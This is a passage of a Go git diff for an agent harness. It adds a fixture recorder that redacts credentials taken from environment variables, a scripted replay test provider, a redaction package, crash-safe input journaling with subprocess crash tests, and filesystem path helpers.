t.Errorf("role = %q", turn.Message.Role) + } + if len(turn.Message.Parts) != 3 { + t.Fatalf("parts = %d, want 3 (text + 2 tool calls)", len(turn.Message.Parts)) + } + if turn.Message.Parts[0].Kind != PartText || turn.Message.Parts[0].Text != "I'll read the file." { + t.Errorf("text part = %+v", turn.Message.Parts[0]) + } + if !reflect.DeepEqual(turn.Message.Parts[1].Extras, extras) { + t.Errorf("extras not preserved: %+v", turn.Message.Parts[1].Extras) + } +} + +func TestCollectTurnTextOnly(t *testing.T) { + turn, err := CollectTurn(streamOf([]StreamEvent{ + {Kind: EventTextDelta, TextDelta: "done"}, + {Kind: EventFinish, Finish: FinishEndTurn}, + }, nil)) + if err != nil { + t.Fatal(err) + } + if len(turn.ToolCalls) != 0 || len(turn.Message.Parts) != 1 { + t.Errorf("turn = %+v", turn) + } +} + +func TestCollectTurnError(t *testing.T) { + wantErr := errors.New("stream broke") + _, err := CollectTurn(streamOf([]StreamEvent{ + {Kind: EventTextDelta, TextDelta: "partial"}, + }, wantErr)) + if !errors.Is(err, wantErr) { + t.Fatalf("err = %v, want %v", err, wantErr) + } +} + +func TestPartJSONRoundTrip(t *testing.T) { + p := Part{ + Kind: PartToolResult, CallID: "call_2_0", ToolName: "bash", + Result: json.RawMessage(`{"out":"ok"}`), IsError: true, + Extras: map[string]json.RawMessage{"sig": json.RawMessage(`"x"`)}, + } + data, err := json.Marshal(p) + if err != nil { + t.Fatal(err) + } + var back Part + if err := json.Unmarshal(data, &back); err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(p, back) { + t.Errorf("round trip mismatch:\n got %+v\nwant %+v", back, p) + } +} diff --git a/internal/provider/record/record.go b/internal/provider/record/record.go new file mode 100644 index 0000000..58f1767 --- /dev/null +++ b/internal/provider/record/record.go @@ -0,0 +1,179 @@ +// Package record wraps any Provider and captures its traffic as a scripted +// fixture (PLAN 1.3a). The record-fixture CLI wires this up in 1.9; the +// middleware itself is provider-agnostic and unit-testable now. +package record + +import ( + "context" + "encoding/json" + "fmt" + "iter" + "os" + "strings" + "sync" + + "gopkg.in/yaml.v3" + + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" +) + +// redactEnvSuffixes marks env vars whose values must never reach a fixture. +var redactEnvSuffixes = []string{"_API_KEY", "_TOKEN", "_SECRET"} + +// Recorder is a pass-through Provider that accumulates fixture steps. +type Recorder struct { + inner provider.Provider + redact map[string]string // secret value → replacement + // mu guards the fixture: parent and concurrently-running children share + // one Recorder (S5 review) — an unlocked append would race. + mu sync.Mutex + fixture scripted.Fixture +} + +// New wraps inner, harvesting credential values from the environment for +// redaction (S1 执行包: fixtures pass through redaction). +func New(inner provider.Provider) *Recorder { + redact := map[string]string{} + for _, kv := range os.Environ() { + k, v, _ := strings.Cut(kv, "=") + for _, suffix := range redactEnvSuffixes { + if strings.HasSuffix(k, suffix) && v != "" { + redact[v] = "[REDACTED:" + k + "]" + } + } + } + return &Recorder{inner: inner, redact: redact} +} + +// Capabilities delegates to the wrapped provider. +func (r *Recorder) Capabilities() provider.Capabilities { + return r.inner.Capabilities() +} + +// Complete passes the call through while capturing a fixture step. +// Consecutive text deltas are ACCUMULATED and redacted as one string, so a +// credential split across two deltas (which no single-delta redaction would +// catch) is still scrubbed before it reaches the fixture (S2 review item). +func (r *Recorder) Complete(ctx context.Context, req provider.CompleteRequest) iter.Seq2[provider.StreamEvent, error] { + return func(yield func(provider.StreamEvent, error) bool) { + step := scripted.Step{Expect: r.deriveExpect(req)} + var textBuf strings.Builder + flushText := func() { + if textBuf.Len() > 0 { + step.Respond = append(step.Respond, + scripted.Event{Text: r.redactString(textBuf.String())}) + textBuf.Reset() + } + } + for ev, err := range r.inner.Complete(ctx, req) { + if err != nil { + yield(provider.StreamEvent{}, err) + return + } + if ev.Kind == provider.EventTextDelta { + textBuf.WriteString(ev.TextDelta) + } else { + flushText() + if rec, ok := r.toEvent(ev); ok { + step.Respond = append(step.Respond, rec) + } + } + if !yield(ev, nil) { + return + } + } + flushText() + r.mu.Lock() + r.fixture.Steps = append(r.fixture.Steps, step) + r.mu.Unlock() + } +} + +// WriteFixture serializes the captured session to a YAML fixture file. +func (r *Recorder) WriteFixture(path string) error { + r.mu.Lock() + defer r.mu.Unlock() + data, err := yaml.Marshal(r.fixture) + if err != nil { + return fmt.Errorf("record: %w", err) + } + if err := os.WriteFile(path, data, 0o600); err != nil { + return fmt.Errorf("record: %w", err) + } + return nil +} + +// deriveExpect auto-fills drift assertions: offered tool names plus a snippet +// of the last message. +func (r *Recorder) deriveExpect(req provider.CompleteRequest) scripted.Expect { + e := scripted.Expect{} + for _, td := range req.Tools { + e.ToolsInclude = append(e.ToolsInclude, td.Name) + } + if len(req.Messages) > 0 { + last := req.Messages[len(req.Messages)-1] + for _, p := range last.Parts { + if p.Kind == provider.PartText && p.Text != "" { + snippet := r.redactString(p.Text) + if len(snippet) > 60 { + snippet = snippet[:60] + } + e.LastMessageContains = snippet + break + } + } + } + return e +} + +func (r *Recorder) toEvent(ev provider.StreamEvent) (scripted.Event, bool) { + switch ev.Kind { + case provider.EventTextDelta: + // Text is accumulated and flushed in Complete (cross-delta + // redaction); toEvent is never called for text deltas. + return scripted.Event{}, false + case provider.EventToolCall: + var args map[string]any + if len(ev.ToolCall.Args) > 0 { + _ = json.Unmarshal([]byte(r.redactString(string(ev.ToolCall.Args))), &args) + } + return scripted.Event{ToolCall: &scripted.ToolCallEvent{ + CallID: ev.ToolCall.CallID, Name: ev.ToolCall.Name, Args: args, + // Extras carries opaque provider payloads — notably Anthropic + // thinking text (S4.4d), which is model output that can echo a + // credential. Redact each value like args/text (S4 review P1). + Extras: r.redactExtras(ev.ToolCall.Extras), + }}, true + case provider.EventUsage: + return scripted.Event{Usage: &scripted.UsageEvent{ + InputTokens: ev.Usage.InputTokens, OutputTokens: ev.Usage.OutputTokens, + CacheReadTokens: ev.Usage.CacheReadTokens, + }}, true + case provider.EventFinish: + return scripted.Event{Finish: string(ev.Finish)}, true + default: + return scripted.Event{}, false + } +} + +// redactExtras scrubs credential values out of every opaque Extras payload +// before it reaches a fixture (S4 review P1). Returns nil for an empty map so +// the fixture stays clean. +func (r *Recorder) redactExtras(in map[string]json.RawMessage) map[string]json.RawMessage { + if len(in) == 0 { + return nil + } + out := make(map[string]json.RawMessage, len(in)) + for k, v := range in { + out[k] = json.RawMessage(r.redactString(string(v))) + } + return out +} + +func (r *Recorder) redactString(s string) string { + for secret, replacement := range r.redact { + s = strings.ReplaceAll(s, secret, replacement) + } + return s +} diff --git a/internal/provider/record/record_test.go b/internal/provider/record/record_test.go new file mode 100644 index 0000000..b036108 --- /dev/null +++ b/internal/provider/record/record_test.go @@ -0,0 +1,152 @@ +package record + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" +) + +func TestRecordAndReplayRoundTrip(t *testing.T) { + t.Setenv("FAKE_API_KEY", "sekret-value") + + source := scripted.New(scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {Text: "key is sekret-value ok"}, + {ToolCall: &scripted.ToolCallEvent{Name: "bash", Args: map[string]any{"command": "ls"}}}, + {Finish: "tool_use"}, + }}, + }}) + + rec := New(source) + req := provider.CompleteRequest{ + Turn: 1, + Tools: []provider.ToolDef{{Name: "bash"}}, + Messages: []provider.Message{{Role: provider.RoleUser, + Parts: []provider.Part{{Kind: provider.PartText, Text: "run ls for me please"}}}}, + } + turn, err := provider.CollectTurn(rec.Complete(context.Background(), req)) + if err != nil { + t.Fatal(err) + } + if len(turn.ToolCalls) != 1 { + t.Fatalf("turn = %+v", turn) + } + + path := filepath.Join(t.TempDir(), "session.yaml") + if err := rec.WriteFixture(path); err != nil { + t.Fatal(err) + } + + // Replay the recorded fixture with the same request: must succeed and + // must not contain the secret. + replay, err := scripted.Load(path) + if err != nil { + t.Fatal(err) + } + turn2, err := provider.CollectTurn(replay.Complete(context.Background(), req)) + if err != nil { + t.Fatal(err) + } + text := turn2.Message.Parts[0].Text + if strings.Contains(text, "sekret-value") { + t.Errorf("secret leaked into fixture: %q", text) + } + if !strings.Contains(text, "[REDACTED:FAKE_API_KEY]") { + t.Errorf("redaction marker missing: %q", text) + } + if err := replay.Done(); err != nil { + t.Error(err) + } +} + +func TestRecordedExpectCatchesDrift(t *testing.T) { + source := scripted.New(scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "hi"}, {Finish: "end_turn"}}}, + }}) + rec := New(source) + req := provider.CompleteRequest{ + Turn: 1, + Messages: []provider.Message{{Role: provider.RoleUser, + Parts: []provider.Part{{Kind: provider.PartText, Text: "original prompt"}}}}, + } + if _, err := provider.CollectTurn(rec.Complete(context.Background(), req)); err != nil { + t.Fatal(err) + } + path := filepath.Join(t.TempDir(), "session.yaml") + if err := rec.WriteFixture(path); err != nil { + t.Fatal(err) + } + + replay, err := scripted.Load(path) + if err != nil { + t.Fatal(err) + } + drifted := req + drifted.Messages = []provider.Message{{Role: provider.RoleUser, + Parts: []provider.Part{{Kind: provider.PartText, Text: "completely different"}}}} + _, err = provider.CollectTurn(replay.Complete(context.Background(), drifted)) + if err == nil || !strings.Contains(err.Error(), "request drift") { + t.Fatalf("err = %v, want request drift", err) + } +} + +// A credential echoed into a tool call's opaque Extras (e.g. Anthropic +// thinking text, S4.4d) must be scrubbed before it reaches a fixture — the +// recorder redacts Extras values like args and text (S4 review P1). Tested at +// the redactExtras seam directly: the fixture stores Extras as opaque JSON +// bytes, so a string search over the file would miss the secret regardless; +// what matters is that the secret never survives into the captured value. +func TestRecorderRedactsExtras(t *testing.T) { + t.Setenv("THINK_API_KEY", "sk-thinking-leak-99") + rec := New(scripted.New(scripted.Fixture{})) + in := map[string]json.RawMessage{ + "anthropic.thinking": json.RawMessage(`{"thinking":"the key is sk-thinking-leak-99","signature":"ok"}`), + } + out := rec.redactExtras(in) + got := string(out["anthropic.thinking"]) + if strings.Contains(got, "sk-thinking-leak-99") { + t.Fatalf("credential survived redaction: %s", got) + } + if !strings.Contains(got, "[REDACTED:THINK_API_KEY]") { + t.Fatalf("expected redaction marker: %s", got) + } + if rec.redactExtras(nil) != nil { + t.Errorf("empty Extras must stay nil") + } +} + +// A credential split across two text deltas must still be redacted — the +// recorder accumulates deltas and redacts the whole (S2 review item). The +// scripted provider emits one delta per text event, so two text events +// split the secret across delta boundaries. +func TestRecorderRedactsCrossDeltaSecret(t *testing.T) { + t.Setenv("SPLIT_API_KEY", "sk-abcdef123456") + source := scripted.New(scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {Text: "the key is sk-abc"}, + {Text: "def123456 ok"}, + {Finish: "end_turn"}, + }}, + }}) + rec := New(source) + if _, err := provider.CollectTurn(rec.Complete(context.Background(), provider.CompleteRequest{})); err != nil { + t.Fatal(err) + } + path := filepath.Join(t.TempDir(), "fix.yaml") + if err := rec.WriteFixture(path); err != nil { + t.Fatal(err) + } + raw, _ := os.ReadFile(path) + if strings.Contains(string(raw), "sk-abcdef123456") { + t.Fatalf("cross-delta secret leaked into fixture:\n%s", raw) + } + if !strings.Contains(string(raw), "[REDACTED:SPLIT_API_KEY]") { + t.Fatalf("expected redaction marker:\n%s", raw) + } +} diff --git a/internal/provider/scripted/scripted.go b/internal/provider/scripted/scripted.go new file mode 100644 index 0000000..69d7e83 --- /dev/null +++ b/internal/provider/scripted/scripted.go @@ -0,0 +1,230 @@ +// Package scripted implements the replay test provider (PLAN §0 测试基座): +// it serves recorded/hand-authored fixtures by sequence, with per-step +// request assertions that fail loudly on drift. +package scripted + +import ( + "context" + "encoding/json" + "fmt" + "iter" + "os" + "slices" + "strings" + "sync" + + "gopkg.in/yaml.v3" + + "github.com/ralphite/agentrunner/internal/provider" +) + +// Fixture is one session's scripted conversation. +type Fixture struct { + Steps []Step `yaml:"steps"` +} + +// Step pairs optional request assertions with the events to respond. +type Step struct { + Expect Expect `yaml:"expect,omitempty"` + Respond []Event `yaml:"respond"` +} + +// Expect asserts on selected request fields (S1 执行包 matching contract). +type Expect struct { + ToolsInclude []string `yaml:"tools_include,omitempty"` + ToolsExclude []string `yaml:"tools_exclude,omitempty"` + LastMessageContains string `yaml:"last_message_contains,omitempty"` +} + +// Event is the YAML-friendly form of one StreamEvent. +type Event struct { + Text string `yaml:"text,omitempty"` + ToolCall *ToolCallEvent `yaml:"tool_call,omitempty"` + Usage *UsageEvent `yaml:"usage,omitempty"` + Finish string `yaml:"finish,omitempty"` +} + +// ToolCallEvent scripts one tool call. CallID is optional — when empty the +// provider mints the deterministic harness id from (turn, index). +type ToolCallEvent struct { + CallID string `yaml:"call_id,omitempty"` + Name string `yaml:"name"` + Args map[string]any `yaml:"args,omitempty"` + Extras map[string]json.RawMessage `yaml:"extras,omitempty"` +} + +// UsageEvent scripts token accounting. +type UsageEvent struct { + InputTokens int `yaml:"input_tokens"` + OutputTokens int `yaml:"output_tokens"` + CacheReadTokens int `yaml:"cache_read_tokens,omitempty"` +} + +// Provider serves a Fixture step by step. +type Provider struct { + fixture Fixture + source string + // mu guards next: concurrently-running sibling children share one + // provider instance (S5 review) — step claiming must be atomic. Which + // sibling gets which step stays nondeterministic under real + // concurrency; deterministic fixtures sequence their spawns. + mu sync.Mutex + next int +} + +// Load reads a fixture file into a Provider. +func Load(path string) (*Provider, error) { + raw, err := os.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("fixture %s: %w", path, err) + } + var f Fixture + if err := yaml.Unmarshal(raw, &f); err != nil { + return nil, fmt.Errorf("fixture %s: %v", path, err) + } + return &Provider{fixture: f, source: path}, nil +} + +// New builds a Provider from an in-memory fixture (hand-authored unit cases). +func New(f Fixture) *Provider { + return &Provider{fixture: f, source: ""} +} + +// Capabilities reports optional features (none). +func (p *Provider) Capabilities() provider.Capabilities { + return provider.Capabilities{} +} + +// Complete serves the next scripted step, asserting expectations first. +func (p *Provider) Complete(_ context.Context, req provider.CompleteRequest) iter.Seq2[provider.StreamEvent, error] { + return func(yield func(provider.StreamEvent, error) bool) { + p.mu.Lock() + if p.next >= len(p.fixture.Steps) { + exhausted := fmt.Errorf( + "scripted %s: fixture exhausted at request %d (have %d steps)", + p.source, p.next+1, len(p.fixture.Steps)) + p.mu.Unlock() + yield(provider.StreamEvent{}, exhausted) + return + } + step := p.fixture.Steps[p.next] + stepNo := p.next + 1 + p.next++ + p.mu.Unlock() + + if err := step.Expect.check(req, p.source, stepNo); err != nil { + yield(provider.StreamEvent{}, err) + return + } + + callIndex := 0 + for _, ev := range step.Respond { + out, err := ev.toStreamEvent(req.Turn, &callIndex) + if err != nil { + yield(provider.StreamEvent{}, fmt.Errorf("scripted %s step %d: %w", p.source, stepNo, err)) + return + } + if !yield(out, nil) { + return + } + } + } +} + +// Done errors unless every scripted step was consumed (test-teardown helper). +func (p *Provider) Done() error { + if p.next != len(p.fixture.Steps) { + return fmt.Errorf("scripted %s: %d of %d steps consumed", + p.source, p.next, len(p.fixture.Steps)) + } + return nil +} + +func (e Expect) check(req provider.CompleteRequest, source string, stepNo int) error { + for _, want := range e.ToolsInclude { + found := slices.ContainsFunc(req.Tools, func(td provider.ToolDef) bool { + return td.Name == want + }) + if !found { + return fmt.Errorf("scripted %s step %d: request drift: tool %q not offered (got %v)", + source, stepNo, want, toolNames(req.Tools)) + } + } + for _, unwanted := range e.ToolsExclude { + found := slices.ContainsFunc(req.Tools, func(td provider.ToolDef) bool { + return td.Name == unwanted + }) + if found { + return fmt.Errorf("scripted %s step %d: request drift: tool %q offered but should be filtered out (got %v)", + source, stepNo, unwanted, toolNames(req.Tools)) + } + } + if e.LastMessageContains != "" { + text := lastMessageText(req.Messages) + if !strings.Contains(text, e.LastMessageContains) { + return fmt.Errorf("scripted %s step %d: request drift: last message %q does not contain %q", + source, stepNo, truncate(text, 120), e.LastMessageContains) + } + } + return nil +} + +func (e Event) toStreamEvent(turn int, callIndex *int) (provider.StreamEvent, error) { + switch { + case e.Text != "": + return provider.StreamEvent{Kind: provider.EventTextDelta, TextDelta: e.Text}, nil + case e.ToolCall != nil: + args, err := json.Marshal(e.ToolCall.Args) + if err != nil { + return provider.StreamEvent{}, fmt.Errorf("tool call %s args: %w", e.ToolCall.Name, err) + } + id := e.ToolCall.CallID + if id == "" { + id = provider.CallID(turn, *callIndex) + } + *callIndex++ + return provider.StreamEvent{Kind: provider.EventToolCall, ToolCall: &provider.ToolCall{ + CallID: id, Name: e.ToolCall.Name, Args: args, Extras: e.ToolCall.Extras, + }}, nil + case e.Usage != nil: + return provider.StreamEvent{Kind: provider.EventUsage, Usage: &provider.Usage{ + InputTokens: e.Usage.InputTokens, OutputTokens: e.Usage.OutputTokens, + CacheReadTokens: e.Usage.CacheReadTokens, + }}, nil + case e.Finish != "": + return provider.StreamEvent{Kind: provider.EventFinish, Finish: provider.FinishReason(e.Finish)}, nil + default: + return provider.StreamEvent{}, fmt.Errorf("empty scripted event") + } +} + +func toolNames(defs []provider.ToolDef) []string { + names := make([]string, len(defs)) + for i, td := range defs { + names[i] = td.Name + } + return names +} + +func lastMessageText(msgs []provider.Message) string { + if len(msgs) == 0 { + return "" + } + var sb strings.Builder + for _, p := range msgs[len(msgs)-1].Parts { + if p.Kind == provider.PartText { + sb.WriteString(p.Text) + } + if p.Kind == provider.PartToolResult { + sb.Write(p.Result) + } + } + return sb.String() +} + +func truncate(s string, n int) string { + if len(s) <= n { + return s + } + return s[:n] + "…" +} diff --git a/internal/provider/scripted/scripted_test.go b/internal/provider/scripted/scripted_test.go new file mode 100644 index 0000000..433cb02 --- /dev/null +++ b/internal/provider/scripted/scripted_test.go @@ -0,0 +1,114 @@ +package scripted + +import ( + "context" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/provider" +) + +func userMsg(text string) provider.Message { + return provider.Message{Role: provider.RoleUser, + Parts: []provider.Part{{Kind: provider.PartText, Text: text}}} +} + +func twoStepFixture() Fixture { + return Fixture{Steps: []Step{ + { + Expect: Expect{ToolsInclude: []string{"read_file"}, LastMessageContains: "fix"}, + Respond: []Event{ + {Text: "reading"}, + {ToolCall: &ToolCallEvent{Name: "read_file", Args: map[string]any{"path": "a.go"}}}, + {Finish: "tool_use"}, + }, + }, + { + Respond: []Event{{Text: "done"}, {Finish: "end_turn"}}, + }, + }} +} + +func TestScriptedReplay(t *testing.T) { + p := New(twoStepFixture()) + req := provider.CompleteRequest{ + Turn: 1, + Tools: []provider.ToolDef{{Name: "read_file"}}, + Messages: []provider.Message{userMsg("please fix the bug")}, + } + + turn, err := provider.CollectTurn(p.Complete(context.Background(), req)) + if err != nil { + t.Fatal(err) + } + if len(turn.ToolCalls) != 1 || turn.ToolCalls[0].CallID != "call_1_0" { + t.Fatalf("turn = %+v", turn) + } + + turn2, err := provider.CollectTurn(p.Complete(context.Background(), provider.CompleteRequest{Turn: 2})) + if err != nil { + t.Fatal(err) + } + if turn2.Finish != provider.FinishEndTurn { + t.Errorf("finish = %q", turn2.Finish) + } + if err := p.Done(); err != nil { + t.Errorf("Done() = %v", err) + } +} + +func TestScriptedDriftFailsLoudly(t *testing.T) { + p := New(twoStepFixture()) + _, err := provider.CollectTurn(p.Complete(context.Background(), provider.CompleteRequest{ + Turn: 1, + Tools: []provider.ToolDef{{Name: "bash"}}, // read_file missing + Messages: []provider.Message{userMsg("please fix the bug")}, + })) + if err == nil || !strings.Contains(err.Error(), "request drift") { + t.Fatalf("err = %v, want request drift", err) + } +} + +func TestScriptedExhaustion(t *testing.T) { + p := New(Fixture{Steps: []Step{{Respond: []Event{{Finish: "end_turn"}}}}}) + if _, err := provider.CollectTurn(p.Complete(context.Background(), provider.CompleteRequest{Turn: 1})); err != nil { + t.Fatal(err) + } + _, err := provider.CollectTurn(p.Complete(context.Background(), provider.CompleteRequest{Turn: 2})) + if err == nil || !strings.Contains(err.Error(), "exhausted") { + t.Fatalf("err = %v, want exhaustion", err) + } +} + +func TestScriptedDoneDetectsUnconsumed(t *testing.T) { + p := New(twoStepFixture()) + if err := p.Done(); err == nil { + t.Fatal("Done() should fail with unconsumed steps") + } +} + +// Pin: iterating the same returned stream twice consumes TWO fixture steps +// (consumption is per-iteration, not per-Complete-call). S2's activity +// executor must not blindly re-iterate a stream on retry. The provider is +// also single-goroutine by contract — no mutex on p.next. +func TestScriptedStreamConsumptionPerIteration(t *testing.T) { + p := New(twoStepFixture()) + req := provider.CompleteRequest{ + Turn: 1, + Tools: []provider.ToolDef{{Name: "read_file"}}, + Messages: []provider.Message{userMsg("please fix the bug")}, + } + stream := p.Complete(context.Background(), req) + + if _, err := provider.CollectTurn(stream); err != nil { + t.Fatal(err) + } + // Second iteration of the SAME seq serves step 2 (its expect has no + // constraints, so it succeeds and consumes the fixture). + if _, err := provider.CollectTurn(stream); err != nil { + t.Fatalf("second iteration: %v", err) + } + if err := p.Done(); err != nil { + t.Fatalf("both steps should be consumed: %v", err) + } +} diff --git a/internal/redact/redact.go b/internal/redact/redact.go new file mode 100644 index 0000000..357de40 --- /dev/null +++ b/internal/redact/redact.go @@ -0,0 +1,54 @@ +// Package redact scrubs credential values from anything headed for durable +// storage (events, fixtures) or the model-visible face. The harness never +// journals a credential: values of env vars matching Suffixes are replaced +// by [REDACTED:]. +package redact + +import ( + "encoding/json" + "os" + "strings" +) + +// Suffixes marks env vars whose values must never be persisted. +var Suffixes = []string{"_API_KEY", "_TOKEN", "_SECRET"} + +type Redactor struct { + replacer *strings.Replacer + empty bool +} + +// FromEnv builds a redactor over the current environment. +func FromEnv() *Redactor { + var pairs []string + for _, kv := range os.Environ() { + k, v, ok := strings.Cut(kv, "=") + if !ok || v == "" { + continue + } + for _, suffix := range Suffixes { + if strings.HasSuffix(k, suffix) { + pairs = append(pairs, v, "[REDACTED:"+k+"]") + break + } + } + } + return &Redactor{replacer: strings.NewReplacer(pairs...), empty: len(pairs) == 0} +} + +func (r *Redactor) String(s string) string { + if r.empty { + return s + } + return r.replacer.Replace(s) +} + +// JSON redacts at the text level; a secret containing JSON metacharacters +// could in theory corrupt the payload, which is acceptable — corrupt +// beats leaked. +func (r *Redactor) JSON(raw json.RawMessage) json.RawMessage { + if r.empty || raw == nil { + return raw + } + return json.RawMessage(r.String(string(raw))) +} diff --git a/internal/runtime/ingest.go b/internal/runtime/ingest.go new file mode 100644 index 0000000..d00b66d --- /dev/null +++ b/internal/runtime/ingest.go @@ -0,0 +1,29 @@ +package runtime + +import ( + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/store" +) + +// IngestInput is the journal-inputs-first discipline (2.7): every external +// input becomes a durable InputReceived fact BEFORE anything consumes it. +// Callers act only on the returned (appended) envelope — never on the raw +// input — so a crash after this call loses nothing. +func IngestInput(s *store.EventStore, correlationID, text, source string) (event.Envelope, error) { + env, err := event.New(event.TypeInputReceived, &event.InputReceived{Text: text, Source: source}) + if err != nil { + return event.Envelope{}, err + } + // The raw input is a command; the journaled fact is caused by it. The + // Append assigns the fact's own evt- id. + env.CausationID = event.NewCommandID() + env.CorrelationID = correlationID + env.Sender = source + appended, err := s.Append(env) + if err != nil { + return event.Envelope{}, err + } + crash.Point(crash.PointAfterJournalInput) + return appended, nil +} diff --git a/internal/runtime/ingest_test.go b/internal/runtime/ingest_test.go new file mode 100644 index 0000000..01ad88f --- /dev/null +++ b/internal/runtime/ingest_test.go @@ -0,0 +1,112 @@ +package runtime + +import ( + "errors" + "fmt" + "os" + "os/exec" + "testing" + + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/store" +) + +func TestIngestAppendsBeforeReturning(t *testing.T) { + dir := t.TempDir() + "/sess" + s, err := store.OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = s.Close() }() + + env, err := IngestInput(s, "sess-1", "hello", "cli") + if err != nil { + t.Fatal(err) + } + if env.Seq != 1 || env.ID != "evt-1" || env.CorrelationID != "sess-1" { + t.Fatalf("appended = %+v", env) + } + if env.CausationID == "" { + t.Error("input fact must be caused by its command id") + } + + events, err := store.ReadEvents(dir) + if err != nil { + t.Fatal(err) + } + if len(events) != 1 || events[0].Type != event.TypeInputReceived { + t.Fatalf("events = %+v", events) + } +} + +// The 2.7 crash-matrix scenario: the process is killed immediately after +// the input's fsynced append (counting predicate) — on "resume" the input +// is still in the log. This doubles as the harness skeleton's self-test: +// the subprocess really exits 137 at the armed predicate. +func TestJournalInputsFirstSurvivesCrash(t *testing.T) { + if os.Getenv("GO_CRASH_HELPER") == "1" { + s, err := store.OpenEventStore(os.Getenv("CRASH_DIR")) + if err != nil { + fmt.Println("helper:", err) + os.Exit(1) + } + _, _ = IngestInput(s, "sess-1", "hello from the past", "cli") + fmt.Println("UNREACHABLE: predicate did not fire") + os.Exit(0) + } + + dir := t.TempDir() + "/sess" + cmd := exec.Command(os.Args[0], "-test.run=TestJournalInputsFirstSurvivesCrash") + cmd.Env = append(os.Environ(), + "GO_CRASH_HELPER=1", + "CRASH_DIR="+dir, + crash.EnvVar+"=after:input_received:1", + ) + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if !errors.As(err, &ee) || ee.ExitCode() != crash.ExitCode { + t.Fatalf("subprocess: err = %v, out = %s (want exit %d)", err, out, crash.ExitCode) + } + + events, err := store.ReadEvents(dir) + if err != nil { + t.Fatal(err) + } + if len(events) != 1 || events[0].Type != event.TypeInputReceived { + t.Fatalf("after crash, events = %+v, want the journaled input", events) + } + decoded, err := event.DecodePayload(events[0]) + if err != nil { + t.Fatal(err) + } + if in := decoded.(*event.InputReceived); in.Text != "hello from the past" { + t.Errorf("input = %+v", in) + } + + // And the store is reopenable — the flock died with the subprocess. + s, err := store.OpenEventStore(dir) + if err != nil { + t.Fatalf("resume open: %v", err) + } + _ = s.Close() +} + +// Named-point injection fires for real (exit 137) in a subprocess. +func TestNamedPointSubprocess(t *testing.T) { + if os.Getenv("GO_CRASH_HELPER") == "1" { + crash.Point(crash.PointBeforeRunEnd) + fmt.Println("UNREACHABLE: point did not fire") + os.Exit(0) + } + cmd := exec.Command(os.Args[0], "-test.run=TestNamedPointSubprocess") + cmd.Env = append(os.Environ(), + "GO_CRASH_HELPER=1", + crash.EnvVar+"=point:"+crash.PointBeforeRunEnd, + ) + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if !errors.As(err, &ee) || ee.ExitCode() != crash.ExitCode { + t.Fatalf("subprocess: err = %v, out = %s (want exit %d)", err, out, crash.ExitCode) + } +} diff --git a/internal/runtime/paths.go b/internal/runtime/paths.go new file mode 100644 index 0000000..5523b39 --- /dev/null +++ b/internal/runtime/paths.go @@ -0,0 +1,90 @@ +// Package runtime wires the harness together; this file owns filesystem +// locations and naming (S1.7a — the single place these decisions live). +package runtime + +import ( + "crypto/rand" + "encoding/hex" + "fmt" + "os" + "path/filepath" + "strings" + "time" + "unicode" +) + +// DataDir is the harness state root: $XDG_DATA_HOME/agentrunner, falling +// back to ~/.local/share/agentrunner (same rule on macOS by decision — +// not ~/Library). +func DataDir() (string, error) { + if xdg := os.Getenv("XDG_DATA_HOME"); xdg != "" { + return filepath.Join(xdg, "agentrunner"), nil + } + home, err := os.UserHomeDir() + if err != nil { + return "", fmt.Errorf("data dir: %w", err) + } + return filepath.Join(home, ".local", "share", "agentrunner"), nil +} + +// SessionDir returns (and creates, 0700) the directory for one session. +func SessionDir(sessionID string) (string, error) { + data, err := DataDir() + if err != nil { + return "", err + } + dir := filepath.Join(data, "sessions", sessionID) + if err := os.MkdirAll(dir, 0o700); err != nil { + return "", fmt.Errorf("session dir: %w", err) + } + return dir, nil +} + +// UserConfigPath locates user-level settings. +func UserConfigPath() (string, error) { + if xdg := os.Getenv("XDG_CONFIG_HOME"); xdg != "" { + return filepath.Join(xdg, "agentrunner", "settings.yaml"), nil + } + home, err := os.UserHomeDir() + if err != nil { + return "", fmt.Errorf("config path: %w", err) + } + return filepath.Join(home, ".config", "agentrunner", "settings.yaml"), nil +} + +// ProjectConfigPath locates project-level settings under a workspace root. +func ProjectConfigPath(workspaceRoot string) string { + return filepath.Join(workspaceRoot, ".agentrunner", "settings.yaml") +} + +// NewSessionID builds the sortable session id: +// YYYYMMDD-HHMMSS--<4hex> (slug = first 30 bytes of the task, +// lowercased; the random suffix prevents same-second collisions from +// interleaving two runs into one journal). +func NewSessionID(now time.Time, task string) string { + var b [2]byte + _, _ = rand.Read(b[:]) + return now.UTC().Format("20060102-150405") + "-" + slugify(task, 30) + "-" + hex.EncodeToString(b[:]) +} + +func slugify(s string, maxLen int) string { + if len(s) > maxLen { + s = s[:maxLen] + } + var sb strings.Builder + lastDash := true // suppress leading dash + for _, r := range strings.ToLower(s) { + if unicode.IsLetter(r) && r < 128 || unicode.IsDigit(r) { + sb.WriteRune(r) + lastDash = false + } else if !lastDash { + sb.WriteByte('-') + lastDash = true + } + } + slug := strings.TrimSuffix(sb.String(), "-") + if slug == "" { + return "task" + } + return slug +} diff --git a/internal/runtime/paths_test.go b/internal/runtime/paths_test.go new file mode 100644 index 0000000..49916bd --- /dev/null +++ b/internal/runtime/paths_test.go @@ -0,0 +1,73 @@ +package runtime + +import ( + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +func TestDataDirXDG(t *testing.T) { + t.Setenv("XDG_DATA_HOME", "/tmp/xdg-test") + dir, err := DataDir() + if err != nil { + t.Fatal(err) + } + if dir != "/tmp/xdg-test/agentrunner" { + t.Errorf("dir = %q", dir) + } +} + +func TestDataDirFallback(t *testing.T) { + t.Setenv("XDG_DATA_HOME", "") + 